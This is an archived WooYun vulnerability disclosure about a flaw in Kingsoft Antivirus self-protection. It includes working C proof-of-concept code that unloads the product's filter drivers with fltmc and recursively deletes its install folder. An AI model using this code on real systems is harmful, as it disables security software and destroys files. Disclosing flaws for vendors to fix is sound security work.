破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

编写ring3程序攻破金山毒霸硬盘保护

编号51363
Urlhttp://www.wooyun.org/bug.php?action=view&id=51363
漏洞状态厂商已经确认
漏洞标题编写ring3程序攻破金山毒霸硬盘保护
漏洞类型设计缺陷/逻辑错误
厂商金山毒霸
白帽子听曲人
提交日期2014-02-19 11:15:00
公开日期2014-05-20 11:16:00
修复时间(not set)
确认时间2014-02-19 00:00:00
Confirm Spend0
漏洞标签设计缺陷 防御突破
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank5
漏洞简介
系统环境:win7 64bit
采用在金山官网上最新下载的新毒霸(悟空)
运行详细说明中的程序,即可攻破硬盘保护,
另有附赠功能:直接删除金山安装目录下的若干配置文件,导致金山毒霸下次开机不能启动。
此漏洞是由金山毒霸自我保护机制的缺陷所导致,(驱动缺陷)
同样原理下,能做哪些事,大家都懂得!
希望金山能好好照顾您的毒霸,尽快修复漏洞= =!
漏洞细节

您对您的filter驱动(KNBDrv,kisknl)根本没有保护……
该代码跑一边肯定废掉KNBDrv,kisknl,
有时要跑两边才能废掉kingsoft antivirus目录下的文件,达到毒霸不能重启的效果
记得用管理员权限跑哦

#include "stdafx.h"
#include <windows.h>
#define CMD_PREFIX _T("rd /s /q ")
#define CMD_PREFIX_SIZE sizeof(CMD_PREFIX)
//雕虫小技,诸君见笑了
int _tmain(int argc, _TCHAR* argv[])
{
_tsystem(_T("fltmc unload KNBDrv"));
_tsystem(_T("fltmc unload kisknl"));
HKEY hKey;
char szValue[MAX_PATH];
DWORD dwType;
DWORD dwLength;
RegOpenKey(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Kingsoft\\antivirus"), &hKey);
RegQueryValueEx(hKey,
_T("ProgramPath"),
NULL,
&dwType,
(LPBYTE)szValue,
&dwLength);
TCHAR strCmd[MAX_PATH + CMD_PREFIX_SIZE];
wsprintf(strCmd, _T("%s\"%s\""), CMD_PREFIX, szValue);
_tsystem(strCmd);
_tsystem(_T("pause"));
return 0;
}

POC

kingsoft.png


如需进一步信息,包括并不限于整个工程文件、更具体的系统环境、请我吃饭、讨论明清史等等,邮件发至[email protected]

修复方案

对您的驱动给予保护,
对漏洞的上报者给予奖励

状态信息 2014-02-19: 细节已通知厂商并且等待厂商处理中
2014-02-19: 厂商已经确认,细节仅向厂商公开
2014-02-22: 细节向第三方安全合作伙伴开放
2014-04-15: 细节向核心白帽子及相关领域专家公开
2014-04-25: 细节向普通白帽子公开
2014-05-05: 细节向实习白帽子公开
2014-05-20: 细节向公众公开
厂商回复感谢您的反馈。综合判断漏洞的利用场景与复杂度、以及影响。总和评估为中危。我们将尽快跟进。
回应信息危害等级:中漏洞Rank:5 确认时间:2014-02-19 16:10
Showing 1-6 of 6 items.
评论内容评论人点赞数评论时间

对漏洞的上报者给予奖励。

伟哥02014-05-20 15:09:00

直接删文件?

possible02014-05-20 11:52:00

金山公司骨灰级粉丝 关注此漏洞研究下

abaddon02014-05-07 08:35:00

高手呀!

lucky02014-02-19 11:47:00

神奇的路人甲,膜拜高手,不知收小弟不?

川川02014-02-19 11:20:00

希望金山能好好照顾您的毒霸,尽快修复漏洞= =!

小威02014-02-19 11:19:00